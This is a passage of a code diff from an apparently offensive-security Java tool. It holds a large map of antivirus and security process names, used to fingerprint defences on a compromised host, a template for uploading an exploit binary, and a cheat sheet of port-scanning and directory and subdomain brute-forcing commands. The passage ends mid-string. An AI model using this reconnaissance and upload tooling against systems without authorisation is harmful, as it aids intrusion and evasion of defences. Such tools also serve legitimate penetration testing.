avMap.put("hwsd.exe", "护卫神");
|
||||
avMap.put("hipsdaemon.exe", "火绒");
|
||||
avMap.put("hipstray.exe", "火绒");
|
||||
avMap.put("wsctrl.exe", "火绒");
|
||||
avMap.put("usysdiag.exe", "火绒");
|
||||
avMap.put("SPHINX.exe", "SPHINX防火墙");
|
||||
avMap.put("bddownloader.exe", "百度卫士");
|
||||
avMap.put("baiduansvx.exe", "百度卫士-主进程");
|
||||
avMap.put("AvastUI.exe", "Avast!5主程序");
|
||||
avMap.put("emet_agent.exe", "EMET");
|
||||
avMap.put("emet_service.exe", "EMET");
|
||||
avMap.put("firesvc.exe", "McAfee");
|
||||
avMap.put("firetray.exe", "McAfee");
|
||||
avMap.put("hipsvc.exe", "McAfee");
|
||||
avMap.put("mfevtps.exe", "McAfee");
|
||||
avMap.put("mcafeefire.exe", "McAfee");
|
||||
avMap.put("scan32.exe", "McAfee");
|
||||
avMap.put("shstat.exe", "McAfee");
|
||||
avMap.put("vstskmgr.exe", "McAfee");
|
||||
avMap.put("engineserver.exe", "McAfee");
|
||||
avMap.put("mfeann.exe", "McAfee");
|
||||
avMap.put("mcscript.exe", "McAfee");
|
||||
avMap.put("updaterui.exe", "McAfee");
|
||||
avMap.put("udaterui.exe", "McAfee");
|
||||
avMap.put("naprdmgr.exe", "McAfee");
|
||||
avMap.put("cleanup.exe", "McAfee");
|
||||
avMap.put("cmdagent.exe", "McAfee");
|
||||
avMap.put("frminst.exe", "McAfee");
|
||||
avMap.put("mcscript_inuse.exe", "McAfee");
|
||||
avMap.put("mctray.exe", "McAfee");
|
||||
avMap.put("_avp32.exe", "卡巴斯基");
|
||||
avMap.put("_avpcc.exe", "卡巴斯基");
|
||||
avMap.put("_avpm.exe", "卡巴斯基");
|
||||
avMap.put("aAvgApi.exe", "AVG");
|
||||
avMap.put("ackwin32.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("alertsvc.exe", "Norton AntiVirus");
|
||||
avMap.put("alogserv.exe", "McAfee VirusScan");
|
||||
avMap.put("anti-trojan.exe", "Anti-Trojan Elite");
|
||||
avMap.put("arr.exe", "Application Request Route");
|
||||
avMap.put("atguard.exe", "AntiVir");
|
||||
avMap.put("atupdater.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("atwatch.exe", "Mustek");
|
||||
avMap.put("au.exe", "NSIS");
|
||||
avMap.put("aupdate.exe", "Symantec");
|
||||
avMap.put("auto-protect.nav80try.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("autodown.exe", "AntiVirus AutoUpdater");
|
||||
avMap.put("avconsol.exe", "McAfee");
|
||||
avMap.put("avgcc32.exe", "AVG");
|
||||
avMap.put("avgctrl.exe", "AVG");
|
||||
avMap.put("avgemc.exe", "AVG");
|
||||
avMap.put("avgrsx.exe", "AVG");
|
||||
avMap.put("avgserv.exe", "AVG");
|
||||
avMap.put("avgserv9.exe", "AVG");
|
||||
avMap.put("avgw.exe", "AVG");
|
||||
avMap.put("avkpop.exe", "G DATA SOFTWARE AG");
|
||||
avMap.put("avkserv.exe", "G DATA SOFTWARE AG");
|
||||
avMap.put("avkservice.exe", "G DATA SOFTWARE AG");
|
||||
avMap.put("avkwctl9.exe", "G DATA SOFTWARE AG");
|
||||
avMap.put("avltmain.exe", "Panda Software Aplication");
|
||||
avMap.put("avnt.exe", "H+BEDV Datentechnik GmbH");
|
||||
avMap.put("avp32.exe", "Kaspersky Anti-Virus");
|
||||
avMap.put("avpcc.exe", " Kaspersky AntiVirus");
|
||||
avMap.put("avpdos32.exe", " Kaspersky AntiVirus");
|
||||
avMap.put("avpm.exe", " Kaspersky AntiVirus");
|
||||
avMap.put("avptc32.exe", " Kaspersky AntiVirus");
|
||||
avMap.put("avpupd.exe", " Kaspersky AntiVirus");
|
||||
avMap.put("avsynmgr.exe", "McAfee");
|
||||
avMap.put("avwin.exe", " H+BEDV");
|
||||
avMap.put("bargains.exe", "Exact Advertising SpyWare");
|
||||
avMap.put("beagle.exe", "Avast");
|
||||
avMap.put("blackd.exe", "BlackICE");
|
||||
avMap.put("blackice.exe", "BlackICE");
|
||||
avMap.put("blink.exe", "micromedia");
|
||||
avMap.put("blss.exe", "CBlaster");
|
||||
avMap.put("bootwarn.exe", "Symantec");
|
||||
avMap.put("bpc.exe", "Grokster");
|
||||
avMap.put("brasil.exe", "Exact Advertising");
|
||||
avMap.put("ccevtmgr.exe", "Norton Internet Security");
|
||||
avMap.put("cdp.exe", "CyberLink Corp.");
|
||||
avMap.put("cfd.exe", "Motive Communications");
|
||||
avMap.put("cfgwiz.exe", " Norton AntiVirus");
|
||||
avMap.put("claw95.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("claw95cf.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("clean.exe", "windows流氓软件清理大师");
|
||||
avMap.put("cleaner.exe", "windows流氓软件清理大师");
|
||||
avMap.put("cleaner3.exe", "windows流氓软件清理大师");
|
||||
avMap.put("cleanpc.exe", "windows流氓软件清理大师");
|
||||
avMap.put("cpd.exe", "McAfee");
|
||||
avMap.put("ctrl.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("cv.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("defalert.exe", "Symantec");
|
||||
avMap.put("defscangui.exe", "Symantec");
|
||||
avMap.put("defwatch.exe", "Norton Antivirus");
|
||||
avMap.put("doors.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("dpf.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("dpps2.exe", "PanicWare");
|
||||
avMap.put("dssagent.exe", "Broderbund");
|
||||
avMap.put("ecengine.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("emsw.exe", "Alset Inc");
|
||||
avMap.put("ent.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("espwatch.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("ethereal.exe", "RationalClearCase");
|
||||
avMap.put("exe.avxw.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("expert.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("f-prot95.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("fameh32.exe", "F-Secure");
|
||||
avMap.put("fast.exe", " FastUsr");
|
||||
avMap.put("fch32.exe", "F-Secure");
|
||||
avMap.put("fih32.exe", "F-Secure");
|
||||
avMap.put("findviru.exe", "F-Secure");
|
||||
avMap.put("firewall.exe", "AshampooSoftware");
|
||||
avMap.put("fnrb32.exe", "F-Secure");
|
||||
avMap.put("fp-win.exe", " F-Prot Antivirus OnDemand");
|
||||
avMap.put("fsaa.exe", "F-Secure");
|
||||
avMap.put("fsav.exe", "F-Secure");
|
||||
avMap.put("fsav32.exe", "F-Secure");
|
||||
avMap.put("fsav530stbyb.exe", "F-Secure");
|
||||
avMap.put("fsav530wtbyb.exe", "F-Secure");
|
||||
avMap.put("fsav95.exe", "F-Secure");
|
||||
avMap.put("fsgk32.exe", "F-Secure");
|
||||
avMap.put("fsm32.exe", "F-Secure");
|
||||
avMap.put("fsma32.exe", "F-Secure");
|
||||
avMap.put("fsmb32.exe", "F-Secure");
|
||||
avMap.put("gbmenu.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("guard.exe", "ewido");
|
||||
avMap.put("guarddog.exe", "ewido");
|
||||
avMap.put("htlog.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("htpatch.exe", "Silicon Integrated Systems Corporation");
|
||||
avMap.put("hwpe.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("iamapp.exe", "Symantec");
|
||||
avMap.put("iamserv.exe", "Symantec");
|
||||
avMap.put("iamstats.exe", "Symantec");
|
||||
avMap.put("iedriver.exe", " Urlblaze.com");
|
||||
avMap.put("iface.exe", "Panda Antivirus Module");
|
||||
avMap.put("infus.exe", "Infus Dialer");
|
||||
avMap.put("infwin.exe", "Msviewparasite");
|
||||
avMap.put("intdel.exe", "Inet Delivery");
|
||||
avMap.put("intren.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("jammer.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("kavpf.exe", "Kapersky");
|
||||
avMap.put("kazza.exe", "Kapersky");
|
||||
avMap.put("keenvalue.exe", "EUNIVERSE INC");
|
||||
avMap.put("launcher.exe", "Intercort Systems");
|
||||
avMap.put("ldpro.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("ldscan.exe", "Windows Trojans Inspector");
|
||||
avMap.put("localnet.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("luall.exe", "Symantec");
|
||||
avMap.put("luau.exe", "Symantec");
|
||||
avMap.put("lucomserver.exe", "Norton");
|
||||
avMap.put("mcagent.exe", "McAfee");
|
||||
avMap.put("mcmnhdlr.exe", "McAfee");
|
||||
avMap.put("mctool.exe", "McAfee");
|
||||
avMap.put("mcupdate.exe", "McAfee");
|
||||
avMap.put("mcvsrte.exe", "McAfee");
|
||||
avMap.put("mcvsshld.exe", "McAfee");
|
||||
avMap.put("mfin32.exe", "MyFreeInternetUpdate");
|
||||
avMap.put("mfw2en.exe", "MyFreeInternetUpdate");
|
||||
avMap.put("mfweng3.02d30.exe", "MyFreeInternetUpdate");
|
||||
avMap.put("mgavrtcl.exe", "McAfee");
|
||||
avMap.put("mgavrte.exe", "McAfee");
|
||||
avMap.put("mghtml.exe", "McAfee");
|
||||
avMap.put("mgui.exe", "BullGuard");
|
||||
avMap.put("minilog.exe", "Zone Labs Inc");
|
||||
avMap.put("mmod.exe", "EzulaInc");
|
||||
avMap.put("mostat.exe", "WurldMediaInc");
|
||||
avMap.put("mpfagent.exe", "McAfee");
|
||||
avMap.put("mpfservice.exe", "McAfee");
|
||||
avMap.put("mpftray.exe", "McAfee");
|
||||
avMap.put("mscache.exe", "Integrated Search Technologies Spyware");
|
||||
avMap.put("mscman.exe", "OdysseusMarketingInc");
|
||||
avMap.put("msmgt.exe", "Total Velocity Spyware");
|
||||
avMap.put("msvxd.exe", "W32/Datom-A");
|
||||
avMap.put("mwatch.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("nav.exe", "Reuters Limited");
|
||||
avMap.put("navapsvc.exe", "Norton AntiVirus");
|
||||
avMap.put("navapw32.exe", "Norton AntiVirus");
|
||||
avMap.put("navw32.exe", "Norton Antivirus");
|
||||
avMap.put("ndd32.exe", "诺顿磁盘医生");
|
||||
avMap.put("neowatchlog.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("netutils.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("nisserv.exe", "Norton");
|
||||
avMap.put("nisum.exe", "Norton");
|
||||
avMap.put("nmain.exe", "Norton");
|
||||
avMap.put("nod32.exe", "ESET Smart Security");
|
||||
avMap.put("norton_internet_secu_3.0_407.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("notstart.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("nprotect.exe", "Symantec");
|
||||
avMap.put("npscheck.exe", "Norton");
|
||||
avMap.put("npssvc.exe", "Norton");
|
||||
avMap.put("ntrtscan.exe", "趋势反病毒应用程序");
|
||||
avMap.put("nui.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("otfix.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("outpostinstall.exe", "Outpost");
|
||||
avMap.put("patch.exe", "趋势科技");
|
||||
avMap.put("pavw.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("pcscan.exe", "趋势科技");
|
||||
avMap.put("pdsetup.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("persfw.exe", "Tiny Personal Firewall");
|
||||
avMap.put("pgmonitr.exe", "PromulGate SpyWare");
|
||||
avMap.put("pingscan.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("platin.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("pop3trap.exe", "PC-cillin");
|
||||
avMap.put("poproxy.exe", "NortonAntiVirus");
|
||||
avMap.put("popscan.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("powerscan.exe", "Integrated Search Technologies");
|
||||
avMap.put("ppinupdt.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("pptbc.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("ppvstop.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("prizesurfer.exe", "Prizesurfer");
|
||||
avMap.put("prmt.exe", "OpiStat");
|
||||
avMap.put("prmvr.exe", "Adtomi");
|
||||
avMap.put("processmonitor.exe", "Sysinternals");
|
||||
avMap.put("proport.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("protectx.exe", "ProtectX");
|
||||
avMap.put("pspf.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("purge.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("qconsole.exe", "Norton AntiVirus Quarantine Console");
|
||||
avMap.put("qserver.exe", "Norton Internet Security");
|
||||
avMap.put("rapapp.exe", "BlackICE");
|
||||
avMap.put("rb32.exe", "RapidBlaster");
|
||||
avMap.put("rcsync.exe", "PrizeSurfer");
|
||||
avMap.put("realmon.exe", "Realmon ");
|
||||
avMap.put("rescue.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("rescue32.exe", "卡巴斯基互联网安全套装");
|
||||
avMap.put("rshell.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("rtvscn95.exe", "Real-time virus scanner ");
|
||||
avMap.put("rulaunch.exe", "McAfee User Interface");
|
||||
avMap.put("run32dll.exe", "PAL PC Spy");
|
||||
avMap.put("safeweb.exe", "PSafe Tecnologia");
|
||||
avMap.put("sbserv.exe", "Norton Antivirus");
|
||||
avMap.put("scrscan.exe", "360杀毒");
|
||||
avMap.put("sfc.exe", "System file checker");
|
||||
avMap.put("sh.exe", "MKS Toolkit for Win3");
|
||||
avMap.put("showbehind.exe", "MicroSmarts Enterprise Component ");
|
||||
avMap.put("soap.exe", "System Soap Pro");
|
||||
avMap.put("sofi.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("sperm.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("supporter5.exe", "eScorcher反病毒");
|
||||
avMap.put("symproxysvc.exe", "Symantec");
|
||||
avMap.put("symtray.exe", "Symantec");
|
||||
avMap.put("tbscan.exe", "ThunderBYTE");
|
||||
avMap.put("tc.exe", "TimeCalende");
|
||||
avMap.put("titanin.exe", "TitanHide");
|
||||
avMap.put("tvmd.exe", "Total Velocity");
|
||||
avMap.put("tvtmd.exe", " Total Velocity");
|
||||
avMap.put("vettray.exe", "eTrust");
|
||||
avMap.put("vir-help.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("vnpc3000.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("vpc32.exe", "Symantec");
|
||||
avMap.put("vpc42.exe", "Symantec");
|
||||
avMap.put("vshwin32.exe", "McAfee");
|
||||
avMap.put("vsmain.exe", "McAfee");
|
||||
avMap.put("vsstat.exe", "McAfee");
|
||||
avMap.put("wfindv32.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("zapro.exe", "Zone Alarm");
|
||||
avMap.put("zonealarm.exe", "Zone Alarm");
|
||||
avMap.put("AVPM.exe", "Kaspersky");
|
||||
avMap.put("A2CMD.exe", "Emsisoft Anti-Malware");
|
||||
avMap.put("A2SERVICE.exe", "a-squared free");
|
||||
avMap.put("A2FREE.exe", "a-squared Free");
|
||||
avMap.put("ADVCHK.exe", "Norton AntiVirus");
|
||||
avMap.put("AGB.exe", "安天防线");
|
||||
avMap.put("AHPROCMONSERVER.exe", "安天防线");
|
||||
avMap.put("AIRDEFENSE.exe", "AirDefense");
|
||||
avMap.put("ALERTSVC.exe", "Norton AntiVirus");
|
||||
avMap.put("AVIRA.exe", "小红伞杀毒");
|
||||
avMap.put("AMON.exe", "Tiny Personal Firewall");
|
||||
avMap.put("AVZ.exe", "AVZ");
|
||||
avMap.put("ANTIVIR.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("APVXDWIN.exe", "熊猫卫士");
|
||||
avMap.put("ASHMAISV.exe", "Alwil");
|
||||
avMap.put("ASHSERV.exe", "Avast Anti-virus");
|
||||
avMap.put("ASHSIMPL.exe", "AVAST!VirusCleaner");
|
||||
avMap.put("ASHWEBSV.exe", "Avast");
|
||||
avMap.put("ASWUPDSV.exe", "Avast");
|
||||
avMap.put("ASWSCAN.exe", "Avast");
|
||||
avMap.put("AVCIMAN.exe", "熊猫卫士");
|
||||
avMap.put("AVCONSOL.exe", "McAfee");
|
||||
avMap.put("AVENGINE.exe", "熊猫卫士");
|
||||
avMap.put("AVESVC.exe", "Avira AntiVir Security Service");
|
||||
avMap.put("AVEVL32.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("AVGAM.exe", "AVG");
|
||||
avMap.put("AVGCC.exe", "AVG");
|
||||
avMap.put("AVGCHSVX.exe", "AVG");
|
||||
avMap.put("AVGCSRVX", "AVG");
|
||||
avMap.put("AVGNSX.exe", "AVG");
|
||||
avMap.put("AVGCC32.exe", "AVG");
|
||||
avMap.put("AVGCTRL.exe", "AVG");
|
||||
avMap.put("AVGEMC.exe", "AVG");
|
||||
avMap.put("AVGFWSRV.exe", "AVG");
|
||||
avMap.put("AVGNTMGR.exe", "AVG");
|
||||
avMap.put("AVGSERV.exe", "AVG");
|
||||
avMap.put("AVGTRAY.exe", "AVG");
|
||||
avMap.put("AVGUPSVC.exe", "AVG");
|
||||
avMap.put("AVINITNT.exe", "Command AntiVirus for NT Server");
|
||||
avMap.put("AVPCC.exe", "Kaspersky");
|
||||
avMap.put("AVSERVER.exe", "Kerio MailServer");
|
||||
avMap.put("AVSCHED32.exe", "H+BEDV");
|
||||
avMap.put("AVSYNMGR.exe", "McAfee");
|
||||
avMap.put("AVWUPSRV.exe", "H+BEDV");
|
||||
avMap.put("BDSWITCH.exe", "BitDefender Module");
|
||||
avMap.put("BLACKD.exe", "BlackICE");
|
||||
avMap.put("CCEVTMGR.exe", "Symantec");
|
||||
avMap.put("CFP.exe", "COMODO");
|
||||
avMap.put("CLAMWIN.exe", "ClamWin Portable");
|
||||
avMap.put("CUREIT.exe", "DrWeb CureIT");
|
||||
avMap.put("DEFWATCH.exe", "Norton Antivirus");
|
||||
avMap.put("DRWADINS.exe", "Dr.Web");
|
||||
avMap.put("DRWEB.exe", "Dr.Web");
|
||||
avMap.put("DEFENDERDAEMON.exe", "ShadowDefender");
|
||||
avMap.put("EWIDOCTRL.exe", "Ewido Security Suite");
|
||||
avMap.put("EZANTIVIRUSREGISTRATIONCHECK.exe", "e-Trust Antivirus");
|
||||
avMap.put("FIREWALL.exe", "AshampooSoftware");
|
||||
avMap.put("FPROTTRAY.exe", "F-PROT Antivirus");
|
||||
avMap.put("FPWIN.exe", "Verizon");
|
||||
avMap.put("FRESHCLAM.exe", "ClamAV");
|
||||
avMap.put("FSAV32.exe", "F-Secure");
|
||||
avMap.put("FSBWSYS.exe", "F-secure");
|
||||
avMap.put("FSDFWD.exe", "F-Secure");
|
||||
avMap.put("FSGK32.exe", "F-Secure");
|
||||
avMap.put("FSGK32ST.exe", "F-Secure");
|
||||
avMap.put("FSMA32.exe", "F-Secure");
|
||||
avMap.put("FSMB32.exe", "F-Secure");
|
||||
avMap.put("FSSM32.exe", "F-Secure");
|
||||
avMap.put("GUARDGUI.exe", "网游保镖");
|
||||
avMap.put("GUARDNT.exe", "IKARUS");
|
||||
avMap.put("IAMAPP.exe", "Symantec");
|
||||
avMap.put("INOCIT.exe", "eTrust");
|
||||
avMap.put("INORPC.exe", "eTrust");
|
||||
avMap.put("INORT.exe", "eTrust");
|
||||
avMap.put("INOTASK.exe", "eTrust");
|
||||
avMap.put("INOUPTNG.exe", "eTrust");
|
||||
avMap.put("ISAFE.exe", "eTrust");
|
||||
avMap.put("KAV.exe", "Kaspersky");
|
||||
avMap.put("KAVMM.exe", "Kaspersky");
|
||||
avMap.put("KAVPF.exe", "Kaspersky");
|
||||
avMap.put("KAVPFW.exe", "Kaspersky");
|
||||
avMap.put("KAVSTART.exe", "Kaspersky");
|
||||
avMap.put("KAVSVC.exe", "Kaspersky");
|
||||
avMap.put("KAVSVCUI.exe", "Kaspersky");
|
||||
avMap.put("KMAILMON.exe", "金山毒霸");
|
||||
avMap.put("MCAGENT.exe", "McAfee");
|
||||
avMap.put("MCMNHDLR.exe", "McAfee");
|
||||
avMap.put("MCREGWIZ.exe", "McAfee");
|
||||
avMap.put("MCUPDATE.exe", "McAfee");
|
||||
avMap.put("MCVSSHLD.exe", "McAfee");
|
||||
avMap.put("MINILOG.exe", "Zone Alarm");
|
||||
avMap.put("MYAGTSVC.exe", "McAfee");
|
||||
avMap.put("MYAGTTRY.exe", "McAfee");
|
||||
avMap.put("NAVAPSVC.exe", "Norton");
|
||||
avMap.put("NAVAPW32.exe", "Norton");
|
||||
avMap.put("NAVLU32.exe", "Norton");
|
||||
avMap.put("NAVW32.exe", "Norton Antivirus");
|
||||
avMap.put("NEOWATCHLOG.exe", "NeoWatch");
|
||||
avMap.put("NEOWATCHTRAY.exe", "NeoWatch");
|
||||
avMap.put("NISSERV.exe", "Norton");
|
||||
avMap.put("NISUM.exe", "Norton");
|
||||
avMap.put("NMAIN.exe", "Norton");
|
||||
avMap.put("NOD32.exe", "ESET NOD32");
|
||||
avMap.put("NPFMSG.exe", "Norman个人防火墙");
|
||||
avMap.put("NPROTECT.exe", "Symantec");
|
||||
avMap.put("NSMDTR.exe", "Norton");
|
||||
avMap.put("NTRTSCAN.exe", "趋势科技");
|
||||
avMap.put("OFCPFWSVC.exe", "OfficeScanNT");
|
||||
avMap.put("ONLINENT.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("OP_MON.exe", " OutpostFirewall");
|
||||
avMap.put("PAVFIRES.exe", "熊猫卫士");
|
||||
avMap.put("PAVFNSVR.exe", "熊猫卫士");
|
||||
avMap.put("PAVKRE.exe", "熊猫卫士");
|
||||
avMap.put("PAVPROT.exe", "熊猫卫士");
|
||||
avMap.put("PAVPROXY.exe", "熊猫卫士");
|
||||
avMap.put("PAVPRSRV.exe", "熊猫卫士");
|
||||
avMap.put("PAVSRV51.exe", "熊猫卫士");
|
||||
avMap.put("PAVSS.exe", "熊猫卫士");
|
||||
avMap.put("PCCGUIDE.exe", "PC-cillin");
|
||||
avMap.put("PCCIOMON.exe", "PC-cillin");
|
||||
avMap.put("PCCNTMON.exe", "PC-cillin");
|
||||
avMap.put("PCCPFW.exe", "趋势科技");
|
||||
avMap.put("PCCTLCOM.exe", "趋势科技");
|
||||
avMap.put("PCTAV.exe", "PC Tools AntiVirus");
|
||||
avMap.put("PERSFW.exe", "Tiny Personal Firewall");
|
||||
avMap.put("PERVAC.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("PESTPATROL.exe", "Ikarus");
|
||||
avMap.put("PREVSRV.exe", "熊猫卫士");
|
||||
avMap.put("RTVSCN95.exe", "Real-time Virus Scanner");
|
||||
avMap.put("SAVADMINSERVICE.exe", "SAV");
|
||||
avMap.put("SAVMAIN.exe", "SAV");
|
||||
avMap.put("SAVSCAN.exe", "SAV");
|
||||
avMap.put("SDHELP.exe", "Spyware Doctor");
|
||||
avMap.put("SHSTAT.exe", "McAfee");
|
||||
avMap.put("SPBBCSVC.exe", "Symantec");
|
||||
avMap.put("SPIDERCPL.exe", "Dr.Web");
|
||||
avMap.put("SPIDERML.exe", "Dr.Web");
|
||||
avMap.put("SPIDERUI.exe", "Dr.Web");
|
||||
avMap.put("SPYBOTSD.exe", "Spybot ");
|
||||
avMap.put("SWAGENT.exe", "SonicWALL");
|
||||
avMap.put("SWDOCTOR.exe", "SonicWALL");
|
||||
avMap.put("SWNETSUP.exe", "Sophos");
|
||||
avMap.put("SYMLCSVC.exe", "Symantec");
|
||||
avMap.put("SYMPROXYSVC.exe", "Symantec");
|
||||
avMap.put("SYMSPORT.exe", "Sysmantec");
|
||||
avMap.put("SYMWSC.exe", "Sysmantec");
|
||||
avMap.put("SYNMGR.exe", "Sysmantec");
|
||||
avMap.put("TMLISTEN.exe", "趋势科技");
|
||||
avMap.put("TMNTSRV.exe", "趋势科技");
|
||||
avMap.put("TMPROXY.exe", "趋势科技");
|
||||
avMap.put("TNBUTIL.exe", "Anti-Virus");
|
||||
avMap.put("VBA32ECM.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("VBA32IFS.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("VBA32PP3.exe", "已知杀软进程,名称暂未收录");
|
||||
avMap.put("VCRMON.exe", "VirusChaser");
|
||||
avMap.put("VRMONNT.exe", "HAURI");
|
||||
avMap.put("VRMONSVC.exe", "HAURI");
|
||||
avMap.put("VSHWIN32.exe", "McAfee");
|
||||
avMap.put("VSSTAT.exe", "McAfee");
|
||||
avMap.put("XCOMMSVR.exe", "BitDefender");
|
||||
avMap.put("ZONEALARM.exe", "Zone Alarm");
|
||||
avMap.put("360rp.exe", "360杀毒");
|
||||
avMap.put("afwServ.exe", " Avast Antivirus");
|
||||
avMap.put("safeboxTray.exe", "360杀毒");
|
||||
avMap.put("360safebox.exe", "360杀毒");
|
||||
avMap.put("QQPCTray.exe", "QQ电脑管家");
|
||||
avMap.put("KSafeTray.exe", "金山毒霸");
|
||||
avMap.put("KSafeSvc.exe", "金山毒霸");
|
||||
avMap.put("KWatch.exe", "金山毒霸");
|
||||
avMap.put("gov_defence_service.exe", "云锁");
|
||||
avMap.put("gov_defence_daemon.exe", "云锁");
|
||||
avMap.put("smartscreen.exe", "Windows Defender");
|
||||
avMap.put("securityhealthservice.exe", "Windows Defender");
|
||||
avMap.put("SunloginClient.exe", "向日葵");
|
||||
avMap.put("finalshell.exe", "finalshell终端管理");
|
||||
avMap.put("navicat.exe", "数据库管理");
|
||||
avMap.put("AliSecGuard.exe", "阿里云盾");
|
||||
avMap.put("AliYunDunUpdate.exe", "阿里云盾");
|
||||
avMap.put("AliYunDun.exe", "阿里云盾");
|
||||
avMap.put("CmsGoAgent.windows-amd64.", "阿里云监控");
|
||||
avMap.put("vmnetdhcp.exe", "vm虚拟机");
|
||||
avMap.put("ToDesk.exe", "ToDesk远控");
|
||||
avMap.put("ToDesk_Service.exe", "ToDesk远控");
|
||||
|
||||
String av_result="";
|
||||
for (String key : avMap.keySet()) {
|
||||
if (avstr.contains(key)) {
|
||||
String value = avMap.get(key);
|
||||
av_result += "进程: " + key + ", 疑似: " + value +"\t\r\n";
|
||||
}
|
||||
}
|
||||
|
||||
textArea.setText(av_result);
|
||||
}
|
||||
|
||||
}
|
||||
@ -0,0 +1,56 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import java.util.HashMap;
|
||||
|
||||
public class BaseToolsController {
|
||||
|
||||
public String UploadFileTools(HashMap hashMap,String str){
|
||||
str = str.replace("127.0.0.1",hashMap.get("ip").toString());
|
||||
str = str.replace("8000",hashMap.get("port").toString());
|
||||
str = str.replace("exp.exe",hashMap.get("srcfile").toString());
|
||||
str = str.replace("windows.exe",hashMap.get("dstfile").toString());
|
||||
return str;
|
||||
}
|
||||
public String BruteforceTools(String str){
|
||||
String textModule = "\n" +
|
||||
"端口扫描:\n" +
|
||||
"sudo nmap -sT --min-rate 10000 -p- targetIP\n" +
|
||||
"sudo nmap -p- -Pn --min-rate 10000 targetIP\n" +
|
||||
"sudo nmap -sT -sV -sC -O -p80,139 targetIP\n" +
|
||||
"TARGET=targetIP && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap\n" +
|
||||
"\n"+
|
||||
"目录爆破:\n" +
|
||||
"dirsearch -u http://targetIP -f -e zip,jar,tar.gz --wordlists=/usr/share/dirb/wordlists/common.txt\n" +
|
||||
"dirsearch -u http://targetIP -x 403\n" +
|
||||
"dirsearch -u http://targetIP -x 403,401 -w /usr/share/wordlists/dirb/big.txt\n" +
|
||||
"\n"+
|
||||
"gobuster dir -u http://targetIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n" +
|
||||
"gobuster dir -u http://targetIP --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n" +
|
||||
"gobuster dir -k -u https://targetIP --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 \n" +
|
||||
"\n"+
|
||||
"feroxbuster -u http://targetIP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt\n" +
|
||||
"feroxbuster -u http://targetIP -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k\n" +
|
||||
"\n"+
|
||||
"wfuzz -u http://targetIP/?FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/burp-paraameter-names.txt -H \"cookie: PHPSESSID=asdh231asdad\" --hh 1678\n" +
|
||||
"wfuzz -u http://targetIP -w /usr/share/wordlists/rockyou.txt -d \"key=FUZZ\" --hw 25\n" +
|
||||
"\n"+
|
||||
"ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://targetIP/FUZZ -t 50 -mc 200\n" +
|
||||
"\n"+
|
||||
"domain brute:\n"+
|
||||
"wfuzz -u http://targetIP -H \"HOST: FUZZ.targetIP\" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n" +
|
||||
